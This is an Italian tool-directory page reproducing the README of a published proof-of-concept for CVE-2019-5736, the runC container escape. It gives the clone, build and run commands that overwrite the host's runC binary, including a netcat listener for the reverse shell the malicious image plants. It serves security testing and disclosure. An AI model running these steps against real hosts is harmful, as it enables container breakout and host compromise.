Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2019-5736 — Proof-of-concept exploit per CVE-2019-5736, una vulnerabilità di fuga dal container runC, che dimostrano la rottura del container tramite immagini dannose e comandi exec. | Kitploit
Strumenti/GitHubGitHub/bbrathnayaka/poc-cve-2019-5736
Sicurezza dei ContenitoriGenerazione di PayloadAnalisi delle VulnerabilitàExploitRed TeamingEscape dal Container
GitHubbbrathnayaka/poc-cve-2019-5736

POC-CVE-2019-5736

Proof-of-concept exploit per CVE-2019-5736, una vulnerabilità di fuga dal container runC, che dimostrano la rottura del container tramite immagini dannose e comandi exec.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
156 anni faNon ancora revisionato

RunC-CVE-2019-5736

Build Status Build Status Build Status Build Status Build Status


Video: https://bit.ly/2WqvILb

Post del blog: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]

Qui, vorrei menzionare che lo sviluppatore originale di questo exploit è Yuval Avrahami presso Twistlock Labs.

Esecuzione dei POC

Nota che l'esecuzione dei POC sovrascriverà il binario di runC sull'host.

È altamente consigliato creare una copia del binario di runC (normalmente in /usr/sbin/runc) prima di eseguire uno dei POC.

Clona il repository:

root@kitploit:~
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git

Exec POC

Sovrascrive runc con un semplice programma che stampa una stringa.

Esecuzione del POC exec:

root@kitploit:~
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash

Malicious Image POC

Sovrascrive runc con un semplice script bash di reverse shell che si connette a localhost:2345.

Ascolta per la reverse shell:

root@kitploit:~
$ nc -nvlp 2345

Da una shell diversa, esegui il POC di immagine maligna:

root@kitploit:~
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC

Riferimenti

root@kitploit:~
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Spiegazione di CVE-2019-5736") per una spiegazione di CVE-2019-5736 e dei POC.

Il POC di immagine maligna è pesantemente basato sul [POC di q3k](https://github.com/q3k/cve-2019-5736-poc), quindi tutto il merito va a lui.
Scarica lo strumento